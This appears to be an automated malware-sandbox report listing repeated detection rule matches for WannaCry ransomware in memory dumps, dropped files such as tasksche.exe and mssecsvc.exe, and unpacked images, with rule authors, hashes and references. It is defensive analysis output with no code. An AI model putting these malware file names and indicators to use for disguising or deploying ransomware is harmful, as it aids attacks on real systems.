              Source: 00000004.00000000.262261372.0000000000710000.00000080.00000001.01000000.00000004.sdmp, type: MEMORYMatched rule: detects wannacry ransomware on disk and in virtual page Author: us-cert code analysis team
              Source: 00000007.00000002.354991313.0000000000710000.00000080.00000001.01000000.00000004.sdmp, type: MEMORYMatched rule: detects wannacry ransomware on disk and in virtual page Author: us-cert code analysis team
              Source: 0000000A.00000000.273820547.0000000000710000.00000080.00000001.01000000.00000004.sdmp, type: MEMORYMatched rule: detects wannacry ransomware on disk and in virtual page Author: us-cert code analysis team
              Source: 00000004.00000002.529660580.0000000000710000.00000080.00000001.01000000.00000004.sdmp, type: MEMORYMatched rule: detects wannacry ransomware on disk and in virtual page Author: us-cert code analysis team
              Source: C:\Windows\tasksche.exe, type: DROPPEDMatched rule: Detects WannaCry Ransomware Author: Florian Roth (with the help of binar.ly)
              Source: C:\Windows\tasksche.exe, type: DROPPEDMatched rule: detects wannacry ransomware on disk and in virtual page Author: us-cert code analysis team
              Source: C:\Windows\tasksche.exe, type: DROPPEDMatched rule: Win32_Ransomware_WannaCry Author: ReversingLabs
              Source: C:\Windows\mssecsvc.exe, type: DROPPEDMatched rule: Detects WannaCry Ransomware Author: Florian Roth (with the help of binar.ly)
              Source: C:\Windows\mssecsvc.exe, type: DROPPEDMatched rule: Detects WannaCry Ransomware Author: Florian Roth (based on rule by US CERT)
              Source: C:\Windows\mssecsvc.exe, type: DROPPEDMatched rule: detects wannacry ransomware on disk and in virtual page Author: us-cert code analysis team
              Source: kBBdc7Aoj4.dllStatic PE information: EXECUTABLE_IMAGE, LINE_NUMS_STRIPPED, LOCAL_SYMS_STRIPPED, 32BIT_MACHINE, DLL
              Source: kBBdc7Aoj4.dll, type: SAMPLEMatched rule: WannaCry_Ransomware date = 2017-05-12, hash1 = ed01ebfbc9eb5bbea545af4d01bf5f1071661840480439c6e5babe8e080e41aa, author = Florian Roth (with the help of binar.ly), description = Detects WannaCry Ransomware, reference = https://goo.gl/HG2j5T
              Source: kBBdc7Aoj4.dll, type: SAMPLEMatched rule: wanna_cry_ransomware_generic date = 2017/05/12, hash0 = 4da1f312a214c07143abeeafb695d904, author = us-cert code analysis team, description = detects wannacry ransomware on disk and in virtual page, reference = not set
              Source: 4.0.mssecsvc.exe.7100a4.1.unpack, type: UNPACKEDPEMatched rule: WannaCry_Ransomware date = 2017-05-12, hash1 = ed01ebfbc9eb5bbea545af4d01bf5f1071661840480439c6e5babe8e080e41aa, author = Florian Roth (with the help of binar.ly), description = Detects WannaCry Ransomware, reference = https://goo.gl/HG2j5T
              Source: 4.0.mssecsvc.exe.7100a4.1.unpack, type: UNPACKEDPEMatched rule: wanna_cry_ransomware_generic date = 2017/05/12, hash0 = 4da1f312a214c07143abeeafb695d904, author = us-cert code analysis team, description = detects wannacry ransomware on disk and in virtual page, reference = not set
              Source: 4.0.mssecsvc.exe.7100a4.1.unpack, type: UNPACKEDPEMatched rule: Win32_Ransomware_WannaCry tc_detection_name = WannaCry, tc_detection_factor = , author = ReversingLabs, tc_detection_type = Ransomware
              Source: 10.2.mssecsvc.exe.7100a4.1.unpack, type: UNPACKEDPEMatched rule: WannaCry_Ransomware date = 2017-05-12, hash1 = ed01ebfbc9eb5bbea545af4d01bf5f1071661840480439c6e5babe8e080e41aa, author = Florian Roth (with the help of binar.ly), description = Detects WannaCry Ransomware, reference = https://goo.gl/HG2j5T
              Source: 10.2.mssecsvc.exe.7100a4.1.unpack, type: UNPACKEDPEMatched rule: wanna_cry_ransomware_generic date = 2017/05/12, hash0 = 4da1f312a214c07143abeeafb695d904, author = us-cert code analysis team, description = detects wannacry ransomware on disk and in virtual page, reference = not set
              Source: 10.2.mssecsvc.exe.7100a4.1.unpack, type: UNPACKEDPEMatched rule: Win32_Ransomware_WannaCry tc_detection_name = WannaCry, tc_detection_factor = , author = ReversingLabs, tc_detection_type = Ransomware
              Source: 4.2.mssecsvc.exe.7100a4.1.unpack, type: UNPACKEDPEMatched rule: WannaCry_Ransomware date = 2017-05-12, hash1 = ed01ebfbc9eb5bbea545af4d01bf5f1071661840480439c6e5babe8e080e41aa, author = Florian Roth (with the help of binar.ly), description = Detects WannaCry Ransomware, reference = https://goo.gl/HG2j5T
              Source: 4.2.mssecsvc.exe.7100a4.1.unpack, type: UNPACKEDPEMatched rule: wanna_cry_ransomware_generic date = 2017/05/12, hash0 = 4da1f312a214c07143abeeafb695d904, author = us-cert code analysis team, description = detects wannacry ransomware on disk and in virtual page, reference = not set
              Source: 4.2.mssecsvc.exe.7100a4.1.unpack, type: UNPACKEDPEMatched rule: Win32_Ransomware_WannaCry tc_detection_name = WannaCry, tc_detection_factor = , author = ReversingLabs, tc_detection_type = Ransomware
              Source: 4.0.mssecsvc.exe.7100a4.1.raw.unpack, type: UNPACKEDPEMatched rule: WannaCry_Ransomware date = 2017-05-12, hash1 = ed01ebfbc9eb5bbea545af4d01bf5f1071661840480439c6e5babe8e080e41aa, author = Florian Roth (with the help of binar.ly), description = Detects WannaCry Ransomware, reference = https://goo.gl/HG2j5T
              Source: 4.0.mssecsvc.exe.7100a4.1.raw.unpack, type: UNPACKEDPEMatched rule: wanna_cry_ransomware_generic date = 2017/05/12, hash0 = 4da1f312a214c07143abeeafb695d904, author = us-cert code analysis team, description = detects wannacry ransomware on disk and in virtual page, reference = not set
              Source: 4.0.mssecsvc.exe.7100a4.1.raw.unpack, type: UNPACKEDPEMatched rule: Win32_Ransomware_WannaCry tc_detection_name = WannaCry, tc_detection_factor = , author = ReversingLabs, tc_detection_type = Ransomware
              Source: 10.2.mssecsvc.exe.7100a4.1.raw.unpack, type: UNPACKEDPEMatched rule: WannaCry_Ransomware date = 2017-05-12, hash1 = ed01ebfbc9eb5bbea545af4d01bf5f1071661840480439c6e5babe8e080e41aa, author = Florian Roth (with the help of binar.ly), description = Detects WannaCry Ransomware, reference = https://goo.gl/HG2j5T
              Source: 10.2.mssecsvc.exe.7100a4.1.raw.unpack, type: UNPACKEDPEMatched rule: wanna_cry_ransomware_generic date = 2017/05/12, hash0 = 4da1f312a214c07143abeeafb695d904, author = us-cert code analysis team, description = detects wannacry ransomware on disk and in virtual page, reference = not set
              Source: 10.2.mssecsvc.exe.7100a4.1.raw.unpack, type: UNPACKEDPEMatched rule: Win32_Ransomware_WannaCry tc_detection_name = WannaCry, tc_detection_factor = , author = ReversingLabs, tc_detection_type = Ransomware
              Source: 7.0.mssecsvc.exe.400000.6.unpack, type: UNPACKEDPEMatched rule: WannaCry_Ransomware date = 2017-05-12, hash1 = ed01ebfbc9eb5bbea545af4d01bf5f1071661840480439c6e5babe8e080e41aa, author = Florian Roth (with the help of binar.ly), description = Detects WannaCry Ransomware, reference = https://goo.gl/HG2j5T
              Source: 7.0.mssecsvc.exe.400000.6.unpack, type: UNPACKEDPEMatched rule: WannaCry_Ransomware_Gen date = 2017-05-12, hash3 = 4384bf4530fb2e35449a8e01c7e0ad94e3a25811ba94f7847c1e6612bbb45359, hash2 = 8e5b5841a3fe81cade259ce2a678ccb4451725bba71f6662d0cc1f08148da8df, hash1 = 9fe91d542952e145f2244572f314632d93eb1e8657621087b2ca7f7df2b0cb05, author = Florian Roth (based on rule by US CERT), description = Detects WannaCry Ransomware, reference = https://www.us-cert.gov/ncas/alerts/TA17-132A
              Source: 7.0.mssecsvc.exe.400000.6.unpack, type: UNPACKEDPEMatched rule: wanna_cry_ransomware_generic date = 2017/05/12, hash0 = 4da1f312a214c07143abeeafb695d904, author = us-cert code analysis team, description = detects wannacry ransomware on disk and in virtual page, reference = not set
              Source: 29.2.tasksche.exe.400000.0.unpack, type: UNPACKEDPEMatched rule: WannaCry_Ransomware date = 2017-05-12, hash1 = ed01ebfbc9eb5bbea545af4d01bf5f1071661840480439c6e5babe8e080e41aa, author = Florian Roth (with the help of binar.ly), description = Detects WannaCry Ransomware, reference = https://goo.gl/HG2j5T
              Source: 29.2.tasksche.exe.400000.0.unpack, type: UNPACKEDPEMatched rule: wanna_cry_ransomware_generic date = 2017/05/12, hash0 = 4da1f312a214c07143abeeafb695d904, author = us-cert code analysis team, description = detects wannacry ransomware on disk and in virtual page, reference = not set
              Source: 29.2.tasksche.exe.400000.0.unpack, type: UNPACKEDPEMatched rule: Win32_Ransomware_WannaCry tc_detection_name = WannaCry, tc_detection_factor = , author = ReversingLabs, tc_detection_type = Ransomware
              Source: 7.0.mssecsvc.exe.7100a4.7.raw.unpack, type: UNPACKEDPEMatched rule: WannaCry_Ransomware date = 2017-05-12, hash1 = ed01ebfbc9eb5bbea545af4d01bf5f1071661840480439c6e5babe8e080e41aa, author = Florian Roth (with the help of binar.ly), description = Detects WannaCry Ransomware, reference = https://goo.gl/HG2j5T
              Source: 7.0.mssecsvc.exe.7100a4.7.raw.unpack, type: UNPACKEDPEMatched rule: wanna_cry_ransomware_generic date = 2017/05/12, hash0 = 4da1f312a214c07143abeeafb695d904, author = us-cert code analysis team, description = detects wannacry ransomware on disk and in virtual page, reference = not set
              Source: 7.0.mssecsvc.exe.7100a4.7.raw.unpack, type: UNPACKEDPEMatched rule: Win32_Ransomware_WannaCry tc_detection_name = WannaCry, tc_detection_factor = , author = ReversingLabs, tc_detection_type = Ransomware
              Source: 7.2.mssecsvc.exe.400000.0.unpack, type: UNPACKEDPEMatched rule: WannaCry_Ransomware date = 2017-05-12, hash1 = ed01ebfbc9eb5bbea545af4d01bf5f1071661840480439c6e5babe8e080e41aa, author = Florian Roth (with the help of binar.ly), description = Detects WannaCry Ransomware, reference = https://goo.gl/HG2j5T
              Source: 7.2.mssecsvc.exe.400000.0.unpack, type: UNPACKEDPEMatched rule: WannaCry_Ransomware_Gen date = 2017-05-12, hash3 = 4384bf4530fb2e35449a8e01c7e0ad94e3a25811ba94f7847c1e6612bbb45359, hash2 = 8e5b5841a3fe81cade259ce2a678ccb4451725bba71f6662d0cc1f08148da8df, hash1 = 9fe91d542952e145f2244572f314632d93eb1e8657621087b2ca7f7df2b0cb05, author = Florian Roth (based on rule by US CERT), description = Detects WannaCry Ransomware, reference = https://www.us-cert.gov/ncas/alerts/TA17-132A
              Source: 7.2.mssecsvc.exe.400000.0.unpack, type: UNPACKEDPEMatched rule: wanna_cry_ransomware_generic date = 2017/05/12, hash0 = 4da1f312a214c07143abeeafb695d904, author = us-cert code analysis team, description = detects wannacry ransomware on disk and in virtual page, reference = not set
              Source: 29.0.tasksche.exe.400000.0.unpack, type: UNPACKEDPEMatched rule: WannaCry_Ransomware date = 2017-05-12, hash1 = ed01ebfbc9eb5bbea545af4d01bf5f1071661840480439c6e5babe8e080e41aa, author = Florian Roth (with the help of binar.ly), description = Detects WannaCry Ransomware, reference = https://goo.gl/HG2j5T
              Source: 29.0.tasksche.exe.400000.0.unpack, type: UNPACKEDPEMatched rule: wanna_cry_ransomware_generic date = 2017/05/12, hash0 = 4da1f312a214c07143abeeafb695d904, author = us-cert code analysis team, description = detects wannacry ransomware on disk and in virtual page, reference = not set
              Source: 29.0.tasksche.exe.400000.0.unpack, type: UNPACKEDPEMatched rule: Win32_Ransomware_WannaCry tc_detection_name = WannaCry, tc_detection_factor = , author = ReversingLabs, tc_detection_type = Ransomware
              Source: 7.0.mssecsvc.exe.7100a4.7.unpack, type: UNPACKEDPEMatched rule: WannaCry_Ransomware date = 2017-05-12, hash1 = ed01ebfbc9eb5bbea545af4d01bf5f1071661840480439c6e5babe8e080e41aa, author = Florian Roth (with the help of binar.ly), description = Detects WannaCry Ransomware, reference = https://goo.gl/HG2j5T
              Source: 7.0.mssecsvc.exe.7100a4.7.unpack, type: UNPACKEDPEMatched rule: wanna_cry_ransomware_generic date = 2017/05/12, hash0 = 4da1f312a214c07143abeeafb695d904, author = us-cert code analysis team, description = detects wannacry ransomware on disk and in virtual page, reference = not set
              Source: 7.0.mssecsvc.exe.7100a4.7.unpack, type: UNPACKEDPEMatched rule: Win32_Ransomware_WannaCry tc_detection_name = WannaCry, tc_detection_factor = , author = ReversingLabs, tc_detection_type = Ransomware
              Source: 4.0.mssecsvc.exe.400000.6.unpack, type: UNPACKEDPEMatched rule: WannaCry_Ransomware date = 2017-05-12, hash1 = ed01ebfbc9eb5bbea545af4d01bf5f1071661840480439c6e5babe8e080e41aa, author = Florian Roth (with the help of binar.ly), description = Detects WannaCry Ransomware, reference = https://goo.gl/HG2j5T
              Source: 4.0.mssecsvc.exe.400000.6.unpack, type: UNPACKEDPEMatched rule: WannaCry_Ransomware_Gen date = 2017-05-12, hash3 = 4384bf4530fb2e35449a8e01c7e0ad94e3a25811ba94f7847c1e6612bbb45359, hash2 = 8e5b5841a3fe81cade259ce2a678ccb4451725bba71f6662d0cc1f08148da8df, hash1 = 9fe91d542952e145f2244572f314632d93eb1e8657621087b2ca7f7df2b0cb05, author = Florian Roth (based on rule by US CERT), description = Detects WannaCry Ransomware, reference = https://www.us-cert.gov/ncas/alerts/TA17-132A
              Source: 4.0.mssecsvc.exe.400000.6.unpack, type: UNPACKEDPEMatched rule: wanna_cry_ransomware_generic date = 2017/05/12, hash0 = 4da1f312a214c07143abeeafb695d904, author = us-cert code analysis team, description = detects wannacry ransomware on disk and in virtual page, reference = not set
              Source: 7.0.mssecsvc.exe.7100a4.5.raw.unpack, type: UNPACKEDPEMatched rule: WannaCry_Ransomware date = 2017-05-12, hash1 = ed01ebfbc9eb5bbea545af4d01bf5f1071661840480439c6e5babe8e080e41aa, author = Florian Roth (with the help of binar.ly), description = Detects WannaCry Ransomware, reference = https://goo.gl/HG2j5T
              Source: 7.0.mssecsvc.exe.7100a4.5.raw.unpack, type: UNPACKEDPEMatched rule: wanna_cry_ransomware_generic date = 2017/05/12, hash0 = 4da1f312a214c07143abeeafb695d904, author = us-cert code analysis team, description = detects wannacry ransomware on disk and in virtual page, reference = not set
              Source: 7.0.mssecsvc.exe.7100a4.5.raw.unpack, type: UNPACKEDPEMatched rule: Win32_Ransomware_WannaCry tc_detection_name = WannaCry, tc_detection_factor = , author = ReversingLabs, tc_detection_type = Ransomware
              Source: 4.0.mssecsvc.exe.7100a4.5.raw.unpack, type: UNPACKEDPEMatched rule: WannaCry_Ransomware date = 2017-05-12, hash1 = ed01ebfbc9eb5bbea545af4d01bf5f1071661840480439c6e5babe8e080e41aa, author = Florian Roth (with the help of binar.ly), description = Detects WannaCry Ransomware, reference = https://goo.gl/HG2j5T
              Source: 4.0.mssecsvc.exe.7100a4.5.raw.unpack, type: UNPACKEDPEMatched rule: wanna_cry_ransomware_generic date = 2017/05/12, hash0 = 4da1f312a214c07143abeeafb695d904, author = us-cert code analysis team, description = detects wannacry ransomware on disk and in virtual page, reference = not set
              Source: 4.0.mssecsvc.exe.7100a4.5.raw.unpack, type: UNPACKEDPEMatched rule: Win32_Ransomware_WannaCry tc_detection_name = WannaCry, tc_detection_factor = , author = ReversingLabs, tc_detection_type = Ransomware
              Source: 7.0.mssecsvc.exe.7100a4.5.unpack, type: UNPACKEDPEMatched rule: WannaCry_Ransomware date = 2017-05-12, hash1 = ed01ebfbc9eb5bbea545af4d01bf5f1071661840480439c6e5babe8e080e41aa, author = Florian Roth (with the help of binar.ly), description = Detects WannaCry Ransomware, reference = https://goo.gl/HG2j5T
              Source: 7.0.mssecsvc.exe.7100a4.5.unpack, type: UNPACKEDPEMatched rule: wanna_cry_ransomware_generic date = 2017/05/12, hash0 = 4da1f312a214c07143abeeafb695d904, author = us-cert code analysis team, description = detects wannacry ransomware on disk and in virtual page, reference = not set
              Source: 7.0.mssecsvc.exe.7100a4.5.unpack, type: UNPACKEDPEMatched rule: Win32_Ransomware_WannaCry tc_detection_name = WannaCry, tc_detection_factor = , author = ReversingLabs, tc_detection_type = Ransomware
              Source: 4.2.mssecsvc.exe.400000.0.unpack, type: UNPACKEDPEMatched rule: WannaCry_Ransomware date = 2017-05-12, hash1 = ed01ebfbc9eb5bbea545af4d01bf5f1071661840480439c6e5babe8e080e41aa, author = Florian Roth (with the help of binar.ly), description = Detects WannaCry Ransomware, reference = https://goo.gl/HG2j5T
              Source: 4.2.mssecsvc.exe.400000.0.unpack, type: UNPACKEDPEMatched rule: WannaCry_Ransomware_Gen date = 2017-05-12, hash3 = 4384bf4530fb2e35449a8e01c7e0ad94e3a25811ba94f7847c1e6612bbb45359, hash2 = 8e5b5841a3fe81cade259ce2a678ccb4451725bba71f6662d0cc1f08148da8df, hash1 = 9fe91d542952e145f2244572f314632d93eb1e8657621087b2ca7f7df2b0cb05, author = Florian Roth (based on rule by US CERT), description = Detects WannaCry Ransomware, reference = https://www.us-cert.gov/ncas/alerts/TA17-132A
              Source: 4.2.mssecsvc.exe.400000.0.unpack, type: UNPACKEDPEMatched rule: wanna_cry_ransomware_generic date = 2017/05/12, hash0 = 4da1f312a214c07143abeeafb695d904, author = us-cert code analysis team, description = detects wannacry ransomware on disk and in virtual page, reference = not set
              Source: 7.0.mssecsvc.exe.7100a4.3.raw.unpack, type: UNPACKEDPEMatched rule: WannaCry_Ransomware date = 2017-05-12, hash1 = ed01ebfbc9eb5bbea545af4d01bf5f1071661840480439c6e5babe8e080e41aa, author = Florian Roth (with the help of binar.ly), description = Detects WannaCry Ransomware, reference = https://goo.gl/HG2j5T
              Source: 7.0.mssecsvc.exe.7100a4.3.raw.unpack, type: UNPACKEDPEMatched rule: wanna_cry_ransomware_generic date = 2017/05/12, hash0 = 4da1f312a214c07143abeeafb695d904, author = us-cert code analysis team, description = detects wannacry ransomware on disk and in virtual page, reference = not set
              Source: 7.0.mssecsvc.exe.7100a4.3.raw.unpack, type: UNPACKEDPEMatched rule: Win32_Ransomware_WannaCry tc_detection_name = WannaCry, tc_detection_factor = , author = ReversingLabs, tc_detection_type = Ransomware
              Source: 7.2.mssecsvc.exe.7100a4.1.raw.unpack, type: UNPACKEDPEMatched rule: WannaCry_Ransomware date = 2017-05-12, hash1 = ed01ebfbc9eb5bbea545af4d01bf5f1071661840480439c6e5babe8e080e41aa, author = Florian Roth (with the help of binar.ly), description = Detects WannaCry Ransomware, reference = https://goo.gl/HG2j5T
              Source: 7.2.mssecsvc.exe.7100a4.1.raw.unpack, type: UNPACKEDPEMatched rule: wanna_cry_ransomware_generic date = 2017/05/12, hash0 = 4da1f312a214c07143abeeafb695d904, author = us-cert code analysis team, description = detects wannacry ransomware on disk and in virtual page, reference = not set
              Source: 7.2.mssecsvc.exe.7100a4.1.raw.unpack, type: UNPACKEDPEMatched rule: Win32_Ransomware_WannaCry tc_detection_name = WannaCry, tc_detection_factor = , author = ReversingLabs, tc_detection_type = Ransomware
              Source: 4.0.mssecsvc.exe.400000.0.unpack, type: UNPACKEDPEMatched rule: WannaCry_Ransomware date = 2017-05-12, hash1 = ed01ebfbc9eb5bbea545af4d01bf5f1071661840480439c6e5babe8e080e41aa, author = Florian Roth (with the help of binar.ly), description = Detects WannaCry Ransomware, reference = https://goo.gl/HG2j5T
              Source: 4.0.mssecsvc.exe.400000.0.unpack, type: UNPACKEDPEMatched rule: WannaCry_Ransomware_Gen date = 2017-05-12, hash3 = 4384bf4530fb2e35449a8e01c7e0ad94e3a25811ba94f7847c1e6612bbb45359, hash2 = 8e5b5841a3fe81cade259ce2a678ccb4451725bba71f6662d0cc1f08148da8df, hash1 = 9fe91d542952e145f2244572f314632d93eb1e8657621087b2ca7f7df2b0cb05, author = Florian Roth (based on rule by US CERT), description = Detects WannaCry Ransomware, reference = https://www.us-cert.gov/ncas/alerts/TA17-132A
              Source: 4.0.mssecsvc.exe.400000.0.unpack, type: UNPACKEDPEMatched rule: wanna_cry_ransomware_generic date = 2017/05/12, hash0 = 4da1f312a214c07143abeeafb695d904, author = us-cert code analysis team, description = detects wannacry ransomware on disk and in virtual page, reference = not set
              Source: 4.2.mssecsvc.exe.7100a4.1.raw.unpack, type: UNPACKEDPEMatched rule: WannaCry_Ransomware date = 2017-05-12, hash1 = ed01ebfbc9eb5bbea545af4d01bf5f1071661840480439c6e5babe8e080e41aa, author = Florian Roth (with the help of binar.ly), description = Detects WannaCry Ransomware, reference = https://goo.gl/HG2j5T
              Source: 4.2.mssecsvc.exe.7100a4.1.raw.unpack, type: UNPACKEDPEMatched rule: wanna_cry_ransomware_generic date = 2017/05/12, hash0 = 4da1f312a214c07143abeeafb695d904, author = us-cert code analysis team, description = detects wannacry ransomware on disk and in virtual page, reference = not set
              Source: 4.2.mssecsvc.exe.7100a4.1.raw.unpack, type: UNPACKEDPEMatched rule: Win32_Ransomware_WannaCry tc_detection_name = WannaCry, tc_detection_factor = , author = ReversingLabs, tc_detection_type = Ransomware
              Source: 7.0.mssecsvc.exe.400000.2.unpack, type: UNPACKEDPEMatched rule: WannaCry_Ransomware date = 2017-05-12, hash1 = ed01ebfbc9eb5bbea545af4d01bf5f1071661840480439c6e5babe8e080e41aa, author = Florian Roth (with the help of binar.ly), description = Detects WannaCry Ransomware, reference = https://goo.gl/HG2j5T
              Source: 7.0.mssecsvc.exe.400000.2.unpack, type: UNPACKEDPEMatched rule: WannaCry_Ransomware_Gen date = 2017-05-12, hash3 = 4384bf4530fb2e35449a8e01c7e0ad94e3a25811ba94f7847c1e6612bbb45359, hash2 = 8e5b5841a3fe81cade259ce2a678ccb4451725bba71f6662d0cc1f08148da8df, hash1 = 9fe91d542952e145f2244572f314632d93eb1e8657621087b2ca7f7df2b0cb05, author = Florian Roth (based on rule by US CERT), description = Detects WannaCry Ransomware, reference = https://www.us-cert.gov/ncas/alerts/TA17-132A
              Source: 7.0.mssecsvc.exe.400000.2.unpack, type: UNPACKEDPEMatched rule: wanna_cry_ransomware_generic date = 2017/05/12, hash0 = 4da1f312a214c07143abeeafb695d904, author = us-cert code analysis team, description = detects wannacry ransomware on disk and in virtual page, reference = not set
              Source: 4.0.mssecsvc.exe.7100a4.5.unpack, type: UNPACKEDPEMatched rule: WannaCry_Ransomware date = 2017-05-12, hash1 = ed01ebfbc9eb5bbea545af4d01bf5f1071661840480439c6e5babe8e080e41aa, author = Florian Roth (with the help of binar.ly), description = Detects WannaCry Ransomware, reference = https://goo.gl/HG2j5T
              Source: 4.0.mssecsvc.exe.7100a4.5.unpack, type: UNPACKEDPEMatched rule: wanna_cry_ransomware_generic date = 2017/05/12, hash0 = 4da1f312a214c07143abeeafb695d904, author = us-cert code analysis team, description = detects wannacry ransomware on disk and in virtual page, reference = not set
              Source: 4.0.mssecsvc.exe.7100a4.5.unpack, type: UNPACKEDPEMatched rule: Win32_Ransomware_WannaCry tc_detection_name = WannaCry, tc_detection_factor = , author = ReversingLabs, tc_detection_type = Ransomware
              Source: 7.0.mssecsvc.exe.7100a4.1.unpack, type: UNPACKEDPEMatched rule: WannaCry_Ransomware date = 2017-05-12, hash1 = ed01ebfbc9eb5bbea545af4d01bf5f1071661840480439c6e5babe8e080e41aa, author = Florian Roth (with the help of binar.ly), description = Detects WannaCry Ransomware, reference = https://goo.gl/HG2j5T
              Source: 7.0.mssecsvc.exe.7100a4.1.unpack, type: UNPACKEDPEMatched rule: wanna_cry_ransomware_generic date = 2017/05/12, hash0 = 4da1f312a214c07143abeeafb695d904, author = us-cert code analysis team, description = detects wannacry ransomware on disk and in virtual page, reference = not set
              Source: 7.0.mssecsvc.exe.7100a4.1.unpack, type: UNPACKEDPEMatched rule: Win32_Ransomware_WannaCry tc_detection_name = WannaCry, tc_detection_factor = , author = ReversingLabs, tc_detection_type = Ransomware
              Source: 10.0.mssecsvc.exe.400000.0.unpack, type: UNPACKEDPEMatched rule: WannaCry_Ransomware date = 2017-05-12, hash1 = ed01ebfbc9eb5bbea545af4d01bf5f1071661840480439c6e5babe8e080e41aa, author = Florian Roth (with the help of binar.ly), description = Detects WannaCry Ransomware, reference = https://goo.gl/HG2j5T
              Source: 10.0.mssecsvc.exe.400000.0.unpack, type: UNPACKEDPEMatched rule: WannaCry_Ransomware_Gen date = 2017-05-12, hash3 = 4384bf4530fb2e35449a8e01c7e0ad94e3a25811ba94f7847c1e6612bbb45359, hash2 = 8e5b5841a3fe81cade259ce2a678ccb4451725bba71f6662d0cc1f08148da8df, hash1 = 9fe91d542952e145f2244572f314632d93eb1e8657621087b2ca7f7df2b0cb05, author = Florian Roth (based on rule by US CERT), description = Detects WannaCry Ransomware, reference = https://www.us-cert.gov/ncas/alerts/TA17-132A
              Source: 10.0.mssecsvc.exe.400000.0.unpack, type: UNPACKEDPEMatched rule: wanna_cry_ransomware_generic date = 2017/05/12, hash0 = 4da1f312a214c07143abeeafb695d904, author = us-cert code analysis team, description = detects wannacry ransomware on disk and in virtual page, reference = not set
              Source: 7.0.mssecsvc.exe.7100a4.1.raw.unpack, type: UNPACKEDPEMatched rule: WannaCry_Ransomware date = 2017-05-12, hash1 = ed01ebfbc9eb5bbea545af4d01bf5f1071661840480439c6e5babe8e080e41aa, author = Florian Roth (with the help of binar.ly), description = Detects WannaCry Ransomware, reference = https://goo.gl/HG2j5T
              Source: 7.0.mssecsvc.exe.7100a4.1.raw.unpack, type: UNPACKEDPEMatched rule: wanna_cry_ransomware_generic date = 2017/05/12, hash0 = 4da1f312a214c07143abeeafb695d904, author = us-cert code analysis team, description = detects wannacry ransomware on disk and in virtual page, reference = not set
              Source: 7.0.mssecsvc.exe.7100a4.1.raw.unpack, type: UNPACKEDPEMatched rule: Win32_Ransomware_WannaCry tc_detection_name = WannaCry, tc_detection_factor = , author = ReversingLabs, tc_detection_type = Ransomware
              Source: 4.0.mssecsvc.exe.400000.4.unpack, type: UNPACKEDPEMatched rule: WannaCry_Ransomware date = 2017-05-12, hash1 = ed01ebfbc9eb5bbea545af4d01bf5f1071661840480439c6e5babe8e080e41aa, author = Florian Roth (with the help of binar.ly), description = Detects WannaCry Ransomware, reference = https://goo.gl/HG2j5T
              Source: 4.0.mssecsvc.exe.400000.4.unpack, type: UNPACKEDPEMatched rule: WannaCry_Ransomware_Gen date = 2017-05-12, hash3 = 4384bf4530fb2e35449a8e01c7e0ad94e3a25811ba94f7847c1e6612bbb45359, hash2 = 8e5b5841a3fe81cade259ce2a678ccb4451725bba71f6662d0cc1f08148da8df, hash1 = 9fe91d542952e145f2244572f314632d93eb1e8657621087b2ca7f7df2b0cb05, author = Florian Roth (based on rule by US CERT), description = Detects WannaCry Ransomware, reference = https://www.us-cert.gov/ncas/alerts/TA17-132A
              Source: 10.0.mssecsvc.exe.7100a4.1.unpack, type: UNPACKEDPEMatched rule: WannaCry_Ransomware date = 2017-05-12, hash1 = ed01ebfbc9eb5bbea545af4d01bf5f1071661840480439c6e5babe8e080e41aa, author = Florian Roth (with the help of binar.ly), description = Detects WannaCry Ransomware, reference = https://goo.gl/HG2j5T
              Source: 4.0.mssecsvc.exe.7100a4.7.unpack, type: UNPACKEDPEMatched rule: WannaCry_Ransomware date = 2017-05-12, hash1 = ed01ebfbc9eb5bbea545af4d01bf5f1071661840480439c6e5babe8e080e41aa, author = Florian Roth (with the help of binar.ly), description = Detects WannaCry Ransomware, reference = https://goo.gl/HG2j5T
              Source: 10.0.mssecsvc.exe.7100a4.1.unpack, type: UNPACKEDPEMatched rule: wanna_cry_ransomware_generic date = 2017/05/12, hash0 = 4da1f312a214c07143abeeafb695d904, author = us-cert code analysis team, description = detects wannacry ransomware on disk and in virtual page, reference = not set
              Source: 4.0.mssecsvc.exe.7100a4.7.unpack, type: UNPACKEDPEMatched rule: wanna_cry_ransomware_generic date = 2017/05/12, hash0 = 4da1f312a214c07143abeeafb695d904, author = us-cert code analysis team, description = detects wannacry ransomware on disk and in virtual page, reference = not set
              Source: 4.0.mssecsvc.exe.7100a4.7.unpack, type: UNPACKEDPEMatched rule: Win32_Ransomware_WannaCry tc_detection_name = WannaCry, tc_detection_factor = , author = ReversingLabs, tc_detection_type = Ransomware
              Source: 10.0.mssecsvc.exe.7100a4.1.unpack, type: UNPACKEDPEMatched rule: Win32_Ransomware_WannaCry tc_detection_name = WannaCry, tc_detection_factor = , author = ReversingLabs, tc_detection_type = Ransomware
              Source: 4.0.mssecsvc.exe.400000.4.unpack, type: UNPACKEDPEMatched rule: wanna_cry_ransomware_generic date = 2017/05/12, hash0 = 4da1f312a214c07143abeeafb695d904, author = us-cert code analysis team, description = detects wannacry ransomware on disk and in virtual page, reference = not set
              Source: 7.0.mssecsvc.exe.400000.0.unpack, type: UNPACKEDPEMatched rule: WannaCry_Ransomware date = 2017-05-12, hash1 = ed01ebfbc9eb5bbea545af4d01bf5f1071661840480439c6e5babe8e080e41aa, author = Florian Roth (with the help of binar.ly), description = Detects WannaCry Ransomware, reference = https://goo.gl/HG2j5T
              Source: 7.0.mssecsvc.exe.400000.0.unpack, type: UNPACKEDPEMatched rule: WannaCry_Ransomware_Gen date = 2017-05-12, hash3 = 4384bf4530fb2e35449a8e01c7e0ad94e3a25811ba94f7847c1e6612bbb45359, hash2 = 8e5b5841a3fe81cade259ce2a678ccb4451725bba71f6662d0cc1f08148da8df, hash1 = 9fe91d542952e145f2244572f314632d93eb1e8657621087b2ca7f7df2b0cb05, author = Florian Roth (based on rule by US CERT), description = Detects WannaCry Ransomware, reference = https://www.us-cert.gov/ncas/alerts/TA17-132A
              Source: 7.0.mssecsvc.exe.400000.0.unpack, type: UNPACKEDPEMatched rule: wanna_cry_ransomware_generic date = 2017/05/12, hash0 = 4da1f312a214c07143abeeafb695d904, author = us-cert code analysis team, description = detects wannacry ransomware on disk and in virtual page, reference = not set
              Source: 10.0.mssecsvc.exe.7100a4.1.raw.unpack, type: UNPACKEDPEMatched rule: WannaCry_Ransomware date = 2017-05-12, hash1 = ed01ebfbc9eb5bbea545af4d01bf5f1071661840480439c6e5babe8e080e41aa, author = Florian Roth (with the help of binar.ly), description = Detects WannaCry Ransomware, reference = https://goo.gl/HG2j5T
